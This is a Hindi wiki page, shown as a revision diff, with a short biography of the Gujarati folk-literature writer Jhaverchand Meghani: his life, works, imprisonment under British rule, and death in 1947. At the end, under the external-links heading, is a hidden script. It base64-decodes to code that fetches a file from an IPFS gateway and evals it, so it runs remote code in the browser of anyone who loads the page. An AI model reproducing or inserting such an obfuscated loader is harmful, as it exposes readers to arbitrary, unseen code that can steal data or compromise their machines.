झबेरचंद: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
Line 34: Line 34:
==बाहरी कड़ियाँ==
==बाहरी कड़ियाँ==
{{साहित्यकार}}
{{साहित्यकार}}
[[Category:लेखक]][[Category:कवि]]
[[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:कवि]]
[[Category:साहित्यकार]][[Category:साहित्य_कोश]]
[[Category:साहित्यकार]][[Category:साहित्य_कोश]]
[[Category:गुजराती साहित्यकार]][[Category:चरित कोश]]
[[Category:गुजराती साहित्यकार]][[Category:चरित कोश]]
__INDEX__
__INDEX__
__NOTOC__
__NOTOC__

Revision as of 13:43, 14 October 2011

झबेरचंद कालीदास मेघाणी (जन्म- 1897 सौराष्ट्र, मृत्यु-1947) गुजराती लोक-साहित्य के क्षेत्र में सर्वोपरि स्थान रखने वाले साहित्यकार थे।

जीवन परिचय

झबेरचंद का जन्म 1897 में सौराष्ट्र के चोटीला ग्राम में हुआ था। झबेरचंद अपने बचपन में भाटों और चारणों के मुख से लोकगीत सुनकर बड़ा हुआ। बचपन में ही झबेरचंद का ध्यान लोक-साहित्य का संग्रह करने की ओर गया। फिर झबेरचंद स्वयं लोक-गीतों की रचना की ओर प्रवृत्त होते चले गये।

कार्यक्षेत्र

झबेरचंद ने आजीविका के लिए विभिन्न समाचारपत्रों में काम करते हुए मेघाणी ने विपुल साहित्य की रचना की। वे कवि, उपन्यासकार, कहानीकार, नाटककार, निबंधकार, जीवनी-लेखक, अनुवादक सभी रूपों में सफल हुए। उनके साहित्य का स्वर राष्ट्रवादी था। देशप्रेम, स्वतंत्रता की भावना और महात्मा गाँधी के विचारों से वे प्रभावित थे। उनकी एक कृति ‘सिघुड़ा’ को अंग्रेज़ सरकार ने जब्त कर लिया था और लेखक को दो वर्ष का कारावास भी भोगना पड़ा था। इनकी रचनाओं ने गुजरात में राष्ट्रीय चेतना के प्रसार में बहुत योग दिया।

मुख्य ग्रंथ

लोक-साहित्य में झबेरचंद के मुख्य ग्रंथ हैं -
  1. सौराष्ट्रनी रसधार-5 भाग,
  2. सोरठी बहार बटिया-3 भाग,
  3. दरियापाटना बहार बटिया,
  4. रठियाली रात-4 भाग,
  5. चूंदड़ी-2 भाग,
  6. कंकावटी-2 भाग,
  7. दादाजीनी बातों,
  8. सोरटी संतों आदि।
उपन्यासों में ‘समरोगण’, ‘गुजरातनी जय’ प्रमुख हैं।
कविता संग्रह

कविता-संग्रहों में ‘युग वेदना’, ‘किल्लोल’, ‘वेणीनाफूल’ अधिक चर्चित हुए हैं।

नाटक

झबेरचंद ने राणा प्रताप, शाहजहाँ, घढेला आदि नाटकों और उनके कहानी-संग्रहों की भी रचना की।

  • झबेरचंद के द्वारा रचित कुछेक आलोचना, यात्रा-विवरण, इतिहास-ग्रंथ और जीवन-चरित्र भी प्रसिद्ध हैं।
  • इनके प्रकाशित ग्रंथों की संख्या 88 है।

निधन

झबेरचंद कालीदास मेघाणी का निधन 1947 में हुआ था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ


लीलाधर, शर्मा भारतीय चरित कोश (हिन्दी)। भारतडिस्कवरी पुस्तकालय: शिक्षा भारती, 340।

बाहरी कड़ियाँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>